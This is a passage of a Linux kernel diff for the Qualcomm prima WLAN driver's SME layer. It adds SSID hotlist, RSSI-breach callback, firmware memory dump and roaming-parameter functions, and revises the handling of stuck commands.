failed", __func__); + vos_mem_free(pIbssInfoReqParams); + vosStatus = eHAL_STATUS_FAILURE; + } + sme_ReleaseGlobalLock( &pMac->sme ); + } + + return (vosStatus); +} +#endif + void smeGetCommandQStatus( tHalHandle hHal ) { tSmeCmd *pTempCmd = NULL; @@ -11746,61 +12378,24 @@ eHalStatus sme_SetBatchScanReq } /* --------------------------------------------------------------------------- - \fn sme_SendRateUpdateInd - \brief API to Update rate - \param hHal - The handle returned by macOpen - \param rateUpdateParams - Pointer to rate update params + \fn sme_TriggerBatchScanResultInd + \brief API to trigger batch scan result indications from FW + \param hHal - The handle returned by macOpen. + \param pRequest - Pointer to get batch request. + \param sessionId - session ID + \param callbackRoutine - HDD callback which needs to be invoked after + getting batch scan result indication from FW + \param callbackContext - pAdapter context \return eHalStatus ---------------------------------------------------------------------------*/ -eHalStatus sme_SendRateUpdateInd(tHalHandle hHal, tSirRateUpdateInd *rateUpdateParams) +eHalStatus sme_TriggerBatchScanResultInd +( + tHalHandle hHal, tSirTriggerBatchScanResultInd *pRequest, tANI_U8 sessionId, + void (*callbackRoutine) (void *callbackCtx, void *pRsp), + void *callbackContext +) { - tpAniSirGlobal pMac = PMAC_STRUCT(hHal); - eHalStatus status; - vos_msg_t msg; - - if (eHAL_STATUS_SUCCESS == (status = sme_AcquireGlobalLock(&pMac->sme))) - { - msg.type = WDA_RATE_UPDATE_IND; - msg.bodyptr = rateUpdateParams; - - MTRACE(vos_trace(VOS_MODULE_ID_SME, - TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, msg.type)); - if (!VOS_IS_STATUS_SUCCESS(vos_mq_post_message(VOS_MODULE_ID_WDA, &msg))) - { - VOS_TRACE( VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR,"%s: Not able " - "to post WDA_SET_RMC_RATE_IND to WDA!", - __func__); - - sme_ReleaseGlobalLock(&pMac->sme); - return eHAL_STATUS_FAILURE; - } - - sme_ReleaseGlobalLock(&pMac->sme); - return eHAL_STATUS_SUCCESS; - } - - return status; -} - -/* --------------------------------------------------------------------------- - \fn sme_TriggerBatchScanResultInd - \brief API to trigger batch scan result indications from FW - \param hHal - The handle returned by macOpen. - \param pRequest - Pointer to get batch request. - \param sessionId - session ID - \param callbackRoutine - HDD callback which needs to be invoked after - getting batch scan result indication from FW - \param callbackContext - pAdapter context - \return eHalStatus - ---------------------------------------------------------------------------*/ -eHalStatus sme_TriggerBatchScanResultInd -( - tHalHandle hHal, tSirTriggerBatchScanResultInd *pRequest, tANI_U8 sessionId, - void (*callbackRoutine) (void *callbackCtx, void *pRsp), - void *callbackContext -) -{ - tpAniSirGlobal pMac = PMAC_STRUCT( hHal ); + tpAniSirGlobal pMac = PMAC_STRUCT( hHal ); eHalStatus status; if ( eHAL_STATUS_SUCCESS == ( status = sme_AcquireGlobalLock( &pMac->sme ))) @@ -11844,7 +12439,7 @@ eHalStatus sme_StopBatchScanInd void activeListCmdTimeoutHandle(void *userData) { tHalHandle hHal= (tHalHandle) userData; - tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + tpAniSirGlobal pMac = PMAC_STRUCT( hHal ); tListElem *pEntry; tSmeCmd *pTempCmd = NULL; @@ -11865,6 +12460,9 @@ void activeListCmdTimeoutHandle(void *userData) csrLLCount(&pMac->sme.smeCmdActiveList) ); smeGetCommandQStatus(hHal); + vos_state_info_dump_all(); + + pEntry = csrLLPeekHead(&pMac->sme.smeCmdActiveList, LL_ACCESS_LOCK); if (pEntry) { pTempCmd = GET_BASE_ADDR(pEntry, tSmeCmd, Link); @@ -11877,13 +12475,26 @@ void activeListCmdTimeoutHandle(void *userData) sme_AbortMacScan(hHal, pTempCmd->sessionId, eCSR_SCAN_ABORT_DEFAULT); return; + } else if (pTempCmd && + (eSmeCommandRemainOnChannel == pTempCmd->command)) { + /* Ignore if ROC took more than 120 sec */ + return; } - - /* Initiate SSR to recover */ - if (!(vos_isLoadUnloadInProgress() || - vos_is_logp_in_progress(VOS_MODULE_ID_SME, NULL))) + if (pMac->roam.configParam.enableFatalEvent) + { + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_SME_COMMAND_STUCK, + FALSE, FALSE); + } + else { - vos_wlanRestart(); + /* Initiate SSR to recover */ + if (!(vos_isLoadUnloadInProgress() || + vos_is_logp_in_progress(VOS_MODULE_ID_SME, NULL))) + { + vos_wlanRestart(); + } } } @@ -11923,6 +12534,35 @@ eHalStatus sme_AddChAvoidCallback } #endif /* FEATURE_WLAN_CH_AVOID */ + +/** + * sme_set_rssi_threshold_breached_cb() - set rssi threshold breached callback + * @hal: global hal handle + * @cb: callback function pointer + * + * This function stores the rssi threshold breached callback function. + * + * Return: eHalStatus enumeration. + */ +eHalStatus sme_set_rssi_threshold_breached_cb(tHalHandle hal, + void (*cb)(void *, struct rssi_breach_event *)) +{ + eHalStatus status = eHAL_STATUS_SUCCESS; + tpAniSirGlobal mac = PMAC_STRUCT(hal); + + status = sme_AcquireGlobalLock(&mac->sme); + if (status != eHAL_STATUS_SUCCESS) { + smsLog(mac, LOGE, + FL("sme_AcquireGlobalLock failed!(status=%d)"), + status); + return status; + } + + mac->sme.rssiThresholdBreachedCb = cb; + sme_ReleaseGlobalLock(&mac->sme); + return status; +} + #ifdef WLAN_FEATURE_LINK_LAYER_STATS /* --------------------------------------------------------------------------- @@ -12202,10 +12842,9 @@ VOS_STATUS sme_UpdateDSCPtoUPMapping( tHalHandle hHal, if ((pSession->QosMapSet.dscp_range[i][0] == 255) && (pSession->QosMapSet.dscp_range[i][1] == 255)) { - dscpmapping[j]= 0; VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, - "%s: User Priority %d is not used in mapping", - __func__, i); + "%s: User Priority %d is not used in mapping", + __func__, i); break; } else @@ -12261,11 +12900,11 @@ eHalStatus sme_SpoofMacAddrReq(tHalHandle hHal, v_MACADDR_t *macaddr) vos_mem_copy(pMacSpoofCmd->u.macAddrSpoofCmd.macAddr, macaddr->bytes, VOS_MAC_ADDRESS_LEN); - status = csrQueueSmeCommand(pMac, pMacSpoofCmd, eANI_BOOLEAN_TRUE); + status = csrQueueSmeCommand(pMac, pMacSpoofCmd, false); if ( !HAL_STATUS_SUCCESS( status ) ) { smsLog( pMac, LOGE, FL("fail to send msg status = %d\n"), status ); - csrReleaseCommandScan(pMac, pMacSpoofCmd); + csrReleaseCommand(pMac, pMacSpoofCmd); } } else @@ -12425,8 +13064,6 @@ eHalStatus sme_EXTScanGetCapabilities (tHalHandle hHal, *pGetEXTScanCapabilitiesReq = *pReq; - MTRACE(vos_trace(VOS_MODULE_ID_SME, - TRACE_CODE_SME_RX_HDD_EXTSCAN_GET_CAPABILITIES, NO_SESSION, 0)); if (eHAL_STATUS_SUCCESS == (status = sme_AcquireGlobalLock(&pMac->sme))) { /* Serialize the req through MC thread */ vosMessage.bodyptr = pGetEXTScanCapabilitiesReq; @@ -12680,99 +13317,117 @@ eHalStatus sme_ResetBssHotlist (tHalHandle hHal, return(status); } -/* --------------------------------------------------------------------------- - \fn sme_SetSignificantChange - \brief SME API to set significant change - \param hHal - \param pSetSignificantChangeReq: Extended Scan set significant change structure - \- return eHalStatus - -------------------------------------------------------------------------*/ -eHalStatus sme_SetSignificantChange (tHalHandle hHal, - tSirEXTScanSetSignificantChangeReqParams *pSetSignificantChangeReq) +/** + * sme_set_ssid_hotlist() - Set the SSID hotlist + * @hal: SME handle + * @request: set ssid hotlist request + * + * Return: eHalStatus + */ +eHalStatus +sme_set_ssid_hotlist(tHalHandle hal, + tSirEXTScanSetSsidHotListReqParams *request) { - eHalStatus status = eHAL_STATUS_SUCCESS; - VOS_STATUS vosStatus = VOS_STATUS_SUCCESS; - tpAniSirGlobal pMac = PMAC_STRUCT(hHal); - vos_msg_t vosMessage; - tSirEXTScanSetSignificantChangeReqParams *pEXTScanSetSignificantReq; - - pEXTScanSetSignificantReq = vos_mem_malloc(sizeof(*pEXTScanSetSignificantReq)); - if ( !pEXTScanSetSignificantReq) - { + eHalStatus status; + VOS_STATUS vstatus; + tpAniSirGlobal mac = PMAC_STRUCT(hal); + vos_msg_t vos_message; + tSirEXTScanSetSsidHotListReqParams *set_req; + int i; + + set_req = vos_mem_malloc(sizeof(*set_req)); + if (!set_req) { VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, - "%s: Not able to allocate memory for " - "WDA_EXTSCAN_SET_SIGNF_RSSI_CHANGE_REQ", - __func__); + "%s: Not able to allocate memory for WDA_EXTSCAN_SET_SSID_HOTLIST_REQ", + __func__); return eHAL_STATUS_FAILURE; } - *pEXTScanSetSignificantReq = *pSetSignificantChangeReq; + *set_req = *request; - MTRACE(vos_trace(VOS_MODULE_ID_SME, - TRACE_CODE_SME_RX_HDD_EXTSCAN_SET_SIGNF_CHANGE, NO_SESSION, 0)); - if (eHAL_STATUS_SUCCESS == (status = sme_AcquireGlobalLock(&pMac->sme))) { - /* Serialize the req through MC thread */ - vosMessage.bodyptr = pEXTScanSetSignificantReq; - vosMessage.type = WDA_EXTSCAN_SET_SIGNF_RSSI_CHANGE_REQ; - MTRACE(vos_trace(VOS_MODULE_ID_SME, - TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, vosMessage.type)); - vosStatus = vos_mq_post_message(VOS_MQ_ID_WDA, &vosMessage); - if (!VOS_IS_STATUS_SUCCESS(vosStatus)) - status = eHAL_STATUS_FAILURE; + for( i = 0; i < set_req->ssid_count; i++){ - sme_ReleaseGlobalLock(&pMac->sme); + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + "%s: SSID %s \n length: %d", + __func__, set_req->ssid[i].ssid.ssId, set_req->ssid[i].ssid.length); + } + + MTRACE(vos_trace(VOS_MODULE_ID_SME, + TRACE_CODE_SME_RX_HDD_EXTSCAN_SET_SSID_HOTLIST, NO_SESSION, 0)); + + status = sme_AcquireGlobalLock(&mac->sme); + if (eHAL_STATUS_SUCCESS == status) { + /* Serialize the req through MC thread */ + vos_message.bodyptr = set_req; + vos_message.type = WDA_EXTSCAN_SET_SSID_HOTLIST_REQ; + vstatus = vos_mq_post_message(VOS_MQ_ID_WDA, &vos_message); + sme_ReleaseGlobalLock(&mac->sme); + if (!VOS_IS_STATUS_SUCCESS(vstatus)) { + vos_mem_free(set_req); + status = eHAL_STATUS_FAILURE; + } + } else { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + "%s: sme_AcquireGlobalLock error", __func__); + vos_mem_free(set_req); + status = eHAL_STATUS_FAILURE; } - return(status); + return status; } -/* --------------------------------------------------------------------------- - \fn sme_ResetSignificantChange - \brief SME API to reset significant change - \param hHal - \param pResetReq: Extended Scan reset significant change structure - \- return eHalStatus - -------------------------------------------------------------------------*/ -eHalStatus sme_ResetSignificantChange (tHalHandle hHal, - tSirEXTScanResetSignificantChangeReqParams *pResetReq) +/** + * sme_reset_ssid_hotlist() - Set the SSID hotlist + * @hal: SME handle + * @request: reset ssid hotlist request + * + * Return: eHalStatus + */ +eHalStatus +sme_reset_ssid_hotlist(tHalHandle hal, + tSirEXTScanResetSsidHotlistReqParams *request) { - eHalStatus status = eHAL_STATUS_SUCCESS; - VOS_STATUS vosStatus = VOS_STATUS_SUCCESS; - tpAniSirGlobal pMac = PMAC_STRUCT(hHal); - vos_msg_t vosMessage; - tSirEXTScanResetSignificantChangeReqParams *pEXTScanResetSignificantReq; + eHalStatus status; + VOS_STATUS vstatus; + tpAniSirGlobal mac = PMAC_STRUCT(hal); + vos_msg_t vos_message; + tSirEXTScanResetSsidHotlistReqParams *set_req; - pEXTScanResetSignificantReq = - vos_mem_malloc(sizeof(*pEXTScanResetSignificantReq)); - if ( !pEXTScanResetSignificantReq) - { + set_req = vos_mem_malloc(sizeof(*set_req)); + if (!set_req) { VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, - "%s: Not able to allocate memory for " - "WDA_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_REQ", + "%s: Not able to allocate memory for WDA_EXTSCAN_SET_SSID_HOTLIST_REQ", __func__); return eHAL_STATUS_FAILURE; } - *pEXTScanResetSignificantReq = *pResetReq; + *set_req = *request; MTRACE(vos_trace(VOS_MODULE_ID_SME, - TRACE_CODE_SME_RX_HDD_EXTSCAN_RESET_SIGNF_CHANGE, NO_SESSION, 0)); - if (eHAL_STATUS_SUCCESS == (status = sme_AcquireGlobalLock(&pMac->sme))) { - /* Serialize the req through MC thread */ - vosMessage.bodyptr = pEXTScanResetSignificantReq; - vosMessage.type = WDA_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_REQ; - MTRACE(vos_trace(VOS_MODULE_ID_SME, - TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, vosMessage.type)); - vosStatus = vos_mq_post_message(VOS_MQ_ID_WDA, &vosMessage); - if (!VOS_IS_STATUS_SUCCESS(vosStatus)) - status = eHAL_STATUS_FAILURE; + TRACE_CODE_SME_RX_HDD_EXTSCAN_RESET_SSID_HOTLIST, NO_SESSION, 0)); - sme_ReleaseGlobalLock(&pMac->sme); + status = sme_AcquireGlobalLock(&mac->sme); + if (eHAL_STATUS_SUCCESS == status) { + /* Serialize the req through MC thread */ + vos_message.bodyptr = set_req; + vos_message.type = WDA_EXTSCAN_RESET_SSID_HOTLIST_REQ; + vstatus = vos_mq_post_message(VOS_MQ_ID_WDA, &vos_message); + sme_ReleaseGlobalLock(&mac->sme); + if (!VOS_IS_STATUS_SUCCESS(vstatus)) { + vos_mem_free(set_req); + status = eHAL_STATUS_FAILURE; + } + } else { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + "%s: sme_AcquireGlobalLock error", __func__); + vos_mem_free(set_req); + status = eHAL_STATUS_FAILURE; } - return(status); + return status; } + /* --------------------------------------------------------------------------- \fn sme_getCachedResults \brief SME API to get cached results @@ -12846,11 +13501,72 @@ eHalStatus sme_EXTScanRegisterCallback (tHalHandle hHal, return(status); } +#ifdef FEATURE_OEM_DATA_SUPPORT +eHalStatus sme_OemDataRegisterCallback (tHalHandle hHal, + void (*pOemDataIndCb)(void *, const tANI_U16, void *, tANI_U32), + void *callbackContext) +{ + eHalStatus status = eHAL_STATUS_SUCCESS; + tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + + if (eHAL_STATUS_SUCCESS == (status = sme_AcquireGlobalLock(&pMac->sme))) { + pMac->sme.pOemDataIndCb = pOemDataIndCb; + pMac->sme.pOemDataCallbackContext = callbackContext; + sme_ReleaseGlobalLock(&pMac->sme); + } + return(status); +} +#endif + void sme_SetMiracastMode (tHalHandle hHal,tANI_U8 mode) { tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + eHalStatus status = eHAL_STATUS_SUCCESS; + vos_msg_t vosMessage = {0}; + tSirHighPriorityDataInfoInd *phighPriorityDataInfo; pMac->miracast_mode = mode; + + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_INFO, + "%s: miracast_mode: %d", __func__, mode); + + phighPriorityDataInfo = + vos_mem_malloc(sizeof(*phighPriorityDataInfo)); + if ( !phighPriorityDataInfo) + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, "%s:" + "Failed to allocate memory for WDA_HIGH_PRIORITY_DATA_INFO_IND", + __func__); + return; + } + + if (mode) + phighPriorityDataInfo->pause = TRUE; + else + phighPriorityDataInfo->pause = FALSE; + + if (eHAL_STATUS_SUCCESS == (status = sme_AcquireGlobalLock(&pMac->sme))) { + /* Serialize the req through MC thread */ + vosMessage.bodyptr = phighPriorityDataInfo; + vosMessage.type = WDA_HIGH_PRIORITY_DATA_INFO_IND; + MTRACE(vos_trace(VOS_MODULE_ID_SME, + TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, vosMessage.type)); + + if(VOS_STATUS_SUCCESS != + vos_mq_post_message(VOS_MQ_ID_WDA, &vosMessage)) { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, "%s:" + "Failed to post WDA_HIGH_PRIORITY_DATA_INFO_IND msg to WDA", + __func__); + vos_mem_free(phighPriorityDataInfo); + } + sme_ReleaseGlobalLock(&pMac->sme); + } + else + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, "%s: " + "sme_AcquireGlobalLock error", __func__); + vos_mem_free(phighPriorityDataInfo); + } } #endif /* WLAN_FEATURE_EXTSCAN */ @@ -13239,7 +13955,8 @@ eHalStatus sme_SetRtsCtsHtVht(tHalHandle hHal, tANI_U32 set_value) WDA else return eHAL_STATUS_FAILURE -------------------------------------------------------------------------*/ eHalStatus sme_fatal_event_logs_req(tHalHandle hHal, tANI_U32 is_fatal, - tANI_U32 indicator, tANI_U32 reason_code) + tANI_U32 indicator, tANI_U32 reason_code, + tANI_BOOLEAN dump_vos_trace) { tpAniSirGlobal pMac = PMAC_STRUCT(hHal); vos_msg_t msg; @@ -13247,16 +13964,28 @@ eHalStatus sme_fatal_event_logs_req(tHalHandle hHal, tANI_U32 is_fatal, VOS_STATUS vosStatus = VOS_STATUS_SUCCESS; tpSirFatalEventLogsReqParam pFatalEventLogsReqParams; + /* Dump last 500 VosTrace */ + if (dump_vos_trace) + vosTraceDumpAll(pMac, 0, 0, 500, 0); + + if (WLAN_LOG_INDICATOR_HOST_ONLY == indicator) + { + vos_flush_host_logs_for_fatal(); + return VOS_STATUS_SUCCESS; + } + if ( eHAL_STATUS_SUCCESS == sme_AcquireGlobalLock( &pMac->sme )) { - pFatalEventLogsReqParams = vos_mem_malloc(sizeof(tSirFatalEventLogsReqParam)); + pFatalEventLogsReqParams = + vos_mem_malloc(sizeof(*pFatalEventLogsReqParams)); if(NULL == pFatalEventLogsReqParams) { smsLog(pMac, LOGE, FL("vos_mem_alloc failed ")); return eHAL_STATUS_FAILED_ALLOC; } - vos_mem_set(pFatalEventLogsReqParams, sizeof(pFatalEventLogsReqParams), 0); + vos_mem_set(pFatalEventLogsReqParams, + sizeof(*pFatalEventLogsReqParams), 0); pFatalEventLogsReqParams->reason_code = reason_code; vos_mem_zero(&msg, sizeof(vos_msg_t)); @@ -13285,7 +14014,8 @@ eHalStatus sme_fatal_event_logs_req(tHalHandle hHal, tANI_U32 is_fatal, * * Return: tANI_BOOLEAN. */ -tANI_BOOLEAN sme_handleSetFccChannel(tHalHandle hHal, tANI_U8 fcc_constraint) +tANI_BOOLEAN sme_handleSetFccChannel(tHalHandle hHal, tANI_U8 fcc_constraint, + v_U32_t scan_pending) { eHalStatus status = eHAL_STATUS_SUCCESS; tpAniSirGlobal pMac = PMAC_STRUCT(hHal); @@ -13295,10 +14025,14 @@ tANI_BOOLEAN sme_handleSetFccChannel(tHalHandle hHal, tANI_U8 fcc_constraint) if (eHAL_STATUS_SUCCESS == status && (!sme_Is11dSupported(hHal)) ) { - pMac->scan.fcc_constraint = !fcc_constraint; - /* update the channel list to the firmware */ - csrUpdateFCCChannelList(pMac); + pMac->scan.fcc_constraint = !fcc_constraint; + if (scan_pending == TRUE) { + pMac->scan.defer_update_channel_list = true; + } else { + /* update the channel list to the firmware */ + csrUpdateChannelList(pMac); + } } sme_ReleaseGlobalLock(&pMac->sme); @@ -13353,3 +14087,273 @@ eHalStatus sme_DeleteAllTDLSPeers(tHalHandle hHal, uint8_t sessionId) status = palSendMBMessage( pMac->hHdd, pMsg ); return status; } + + +/** + * sme_FwMemDumpReq() - Send Fwr mem Dump Request + * @hal: HAL pointer + * + * Return: eHalStatus + */ + +eHalStatus sme_FwMemDumpReq(tHalHandle hHal, tAniFwrDumpReq *recv_req) +{ + + eHalStatus status = eHAL_STATUS_SUCCESS; + tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + vos_msg_t msg; + tAniFwrDumpReq * send_req; + + send_req = vos_mem_malloc(sizeof(*send_req)); + if(!send_req) { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + FL("Mem allo failed for FW_MEM_DUMP")); + return eHAL_STATUS_FAILURE; + } + + send_req->fwMemDumpReqCallback = recv_req->fwMemDumpReqCallback; + send_req->fwMemDumpReqContext = recv_req->fwMemDumpReqContext; + + if (eHAL_STATUS_SUCCESS == sme_AcquireGlobalLock(&pMac->sme)) + { + msg.bodyptr = send_req; + msg.type = WDA_FW_MEM_DUMP_REQ; + msg.reserved = 0; + + if (VOS_STATUS_SUCCESS != vos_mq_post_message(VOS_MODULE_ID_WDA, &msg)) + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + FL("Not able to post WDA_FW_MEM_DUMP")); + vos_mem_free(send_req); + status = eHAL_STATUS_FAILURE; + } + sme_ReleaseGlobalLock(&pMac->sme); + } + else + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + FL("Failed to acquire SME Global Lock")); + vos_mem_free(send_req); + status = eHAL_STATUS_FAILURE; + } + + return status; +} + +eHalStatus sme_set_wificonfig_params(tHalHandle hHal, tSetWifiConfigParams *req) +{ + eHalStatus status = eHAL_STATUS_SUCCESS; + tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + vos_msg_t msg; + + status = sme_AcquireGlobalLock(&pMac->sme); + + if (eHAL_STATUS_SUCCESS == status){ + + /* serialize the req through MC thread */ + msg.type = WDA_WIFI_CONFIG_REQ; + msg.reserved = 0; + msg.bodyptr = req; + + MTRACE(vos_trace(VOS_MODULE_ID_SME, + TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, msg.type)); + + if(VOS_STATUS_SUCCESS != vos_mq_post_message(VOS_MODULE_ID_WDA, &msg)) + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, "%s: " + "Not able to post SIR_HAL_WIFI_CONFIG_PARAMS message to HAL", __func__); + status = eHAL_STATUS_FAILURE; + } + sme_ReleaseGlobalLock( &pMac->sme ); + } + else + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, "%s: " + "sme_AcquireGlobalLock error", __func__); + } + return status; +} + +eHalStatus sme_getRegInfo(tHalHandle hHal, tANI_U8 chanId, + tANI_U32 *regInfo1, tANI_U32 *regInfo2) +{ + tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + eHalStatus status; + tANI_U8 i; + eAniBoolean found = false; + + status = sme_AcquireGlobalLock(&pMac->sme); + *regInfo1 = 0; + *regInfo2 = 0; + if (HAL_STATUS_SUCCESS(status)) + { + for (i = 0 ; i < WNI_CFG_VALID_CHANNEL_LIST_LEN; i++) + { + if (pMac->scan.defaultPowerTable[i].chanId == chanId) + { + SME_SET_CHANNEL_REG_POWER(*regInfo1, + pMac->scan.defaultPowerTable[i].pwr); + + SME_SET_CHANNEL_MAX_TX_POWER(*regInfo2, + pMac->scan.defaultPowerTable[i].pwr); + + + found = true; + break; + } + } + + if (!found) + status = eHAL_STATUS_FAILURE; + + sme_ReleaseGlobalLock(&pMac->sme); + } + return status; +} + +eHalStatus sme_GetCurrentAntennaIndex(tHalHandle hHal, + tCsrAntennaIndexCallback callback, + void *pContext, tANI_U8 sessionId) +{ + tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + eHalStatus status = eHAL_STATUS_SUCCESS; + tSirAntennaDiversitySelectionReq *pMsg; + tCsrRoamSession *pSession; + VOS_STATUS vosStatus = VOS_STATUS_E_FAILURE; + vos_msg_t vosMessage; + + status = sme_AcquireGlobalLock(&pMac->sme); + if (HAL_STATUS_SUCCESS(status)) + { + pSession = CSR_GET_SESSION( pMac, sessionId ); + if (!pSession) + { + smsLog(pMac, LOGE, FL("session %d not found"), sessionId); + sme_ReleaseGlobalLock( &pMac->sme ); + return eHAL_STATUS_FAILURE; + } + + pMsg = (tSirAntennaDiversitySelectionReq*)vos_mem_malloc(sizeof(*pMsg)); + if (NULL == pMsg) + { + smsLog(pMac, LOGE, FL("failed to allocated memory")); + sme_ReleaseGlobalLock( &pMac->sme ); + return eHAL_STATUS_FAILURE; + } + pMsg->callback = callback; + pMsg->data = pContext; + + vosMessage.type = WDA_ANTENNA_DIVERSITY_SELECTION_REQ; + vosMessage.bodyptr = pMsg; + vosMessage.reserved = 0; + + vosStatus = vos_mq_post_message( VOS_MQ_ID_WDA, &vosMessage ); + if ( !VOS_IS_STATUS_SUCCESS(vosStatus) ) + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + "%s: Failed to post message to WDA", __func__); + vos_mem_free(pMsg); + sme_ReleaseGlobalLock( &pMac->sme ); + return eHAL_STATUS_FAILURE; + } + sme_ReleaseGlobalLock( &pMac->sme); + return eHAL_STATUS_SUCCESS; + } + return eHAL_STATUS_FAILURE; +} + +eHalStatus sme_setBcnMissPenaltyCount(tHalHandle hHal, + tModifyRoamParamsReqParams *pModifyRoamReqParams) +{ + tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + eHalStatus status = eHAL_STATUS_SUCCESS; + VOS_STATUS vosStatus; + tModifyRoamParamsReqParams *pMsg; + vos_msg_t msg; + + status = sme_AcquireGlobalLock(&pMac->sme); + if (HAL_STATUS_SUCCESS(status)) + { + pMsg = (tModifyRoamParamsReqParams*)vos_mem_malloc(sizeof(*pMsg)); + if (NULL == pMsg) + { + smsLog(pMac, LOGE, FL("failed to allocated memory")); + sme_ReleaseGlobalLock( &pMac->sme ); + return eHAL_STATUS_FAILURE; + } + if (NULL == pModifyRoamReqParams) + { + smsLog(pMac, LOGE, FL("Invalid memory")); + vos_mem_free(pMsg); + sme_ReleaseGlobalLock( &pMac->sme ); + return eHAL_STATUS_FAILURE; + } + pMsg->param = pModifyRoamReqParams->param; + pMsg->value = pModifyRoamReqParams->value; + vos_mem_zero(&msg, sizeof(vos_msg_t)); + msg.type = WDA_MODIFY_ROAM_PARAMS_IND; + msg.reserved = 0; + msg.bodyptr = pMsg; + vosStatus = vos_mq_post_message( VOS_MQ_ID_WDA, &msg); + if ( !VOS_IS_STATUS_SUCCESS(vosStatus) ) + { + status = eHAL_STATUS_FAILURE; + vos_mem_free(pMsg); + } + sme_ReleaseGlobalLock( &pMac->sme ); + return status; + } + + return eHAL_STATUS_FAILURE; +} + +/** + * sme_remove_bssid_from_scan_list() - wrapper to remove the bssid from + * scan list + * @hal: hal context. + * @bssid: bssid to be removed + * + * This function remove the given bssid from scan list. + * + * Return: hal status. + */ +eHalStatus sme_remove_bssid_from_scan_list(tHalHandle hal, + tSirMacAddr bssid) +{ + eHalStatus status = eHAL_STATUS_FAILURE; + tpAniSirGlobal pMac = PMAC_STRUCT(hal); + + status = sme_AcquireGlobalLock(&pMac->sme); + if (HAL_STATUS_SUCCESS(status)) { + csr_remove_bssid_from_scan_list(pMac, bssid); + sme_ReleaseGlobalLock(&pMac->sme); + } + + return status; +} + +/** + * sme_set_mgmt_frm_via_wq5() - Set INI params sendMgmtPktViaWQ5 to WDA. + * @hal: HAL pointer + * @sendMgmtPktViaWQ5: INI params to enable/disable sending mgmt pkt via WQ5. + * + * Return: void + */ +void sme_set_mgmt_frm_via_wq5(tHalHandle hHal, tANI_BOOLEAN sendMgmtPktViaWQ5) +{ + tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + eHalStatus status = eHAL_STATUS_SUCCESS; + + status = sme_AcquireGlobalLock(&pMac->sme); + if (HAL_STATUS_SUCCESS(status)) + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_INFO, + "sendMgmtPktViaWQ5 is %d", sendMgmtPktViaWQ5); + /* not serializing this messsage, as this is only going + * to set a variable in WDA/WDI + */ + WDA_SetMgmtPktViaWQ5(sendMgmtPktViaWQ5); + sme_ReleaseGlobalLock(&pMac->sme); + } + return; +} diff --git a/drivers/staging/prima/CORE/SME/src/sme_common/sme_Trace.c b/drivers/staging/prima/CORE/SME/src/sme_common/sme_Trace.c index e36cf89948f0e..ab2f2bf78b555 100644 --- a/drivers/staging/prima/CORE/SME/src/sme_common/sme_Trace.c +++ b/drivers/staging/prima/CORE/SME/src/sme_common/sme_Trace.c @@ -38,6 +38,8 @@ #include "macTrace.h" #include "sme_Trace.h" #include "smeInternal.h" +#include "smeInside.h" + #ifndef SME_TRACE_RECORD void smeTraceInit(tpAniSirGlobal pMac) { @@ -147,13 +149,10 @@ static tANI_U8* smeTraceGetRxMsgString( tANI_U32 code ) #ifdef FEATURE_WLAN_LPHB CASE_RETURN_STRING(TRACE_CODE_SME_RX_HDD_LPHB_CONFIG_REQ); #endif /* FEATURE_WLAN_LPHB */ - CASE_RETURN_STRING(TRACE_CODE_SME_RX_HDD_EXTSCAN_GET_CAPABILITIES); CASE_RETURN_STRING(TRACE_CODE_SME_RX_HDD_EXTSCAN_START); CASE_RETURN_STRING(TRACE_CODE_SME_RX_HDD_EXTSCAN_STOP); CASE_RETURN_STRING(TRACE_CODE_SME_RX_HDD_EXTSCAN_SET_BSS_HOTLIST); CASE_RETURN_STRING(TRACE_CODE_SME_RX_HDD_EXTSCAN_RESET_BSS_HOTLIST); - CASE_RETURN_STRING(TRACE_CODE_SME_RX_HDD_EXTSCAN_SET_SIGNF_CHANGE); - CASE_RETURN_STRING(TRACE_CODE_SME_RX_HDD_EXTSCAN_RESET_SIGNF_CHANGE); CASE_RETURN_STRING(TRACE_CODE_SME_RX_HDD_EXTSCAN_GET_CACHED_RESULTS); default: return( "UNKNOWN" ); @@ -218,7 +217,7 @@ static void smeTraceDump(tpAniSirGlobal pMac, tpvosTraceRecord pRecord, smeTraceGetCommandString(pRecord->data), 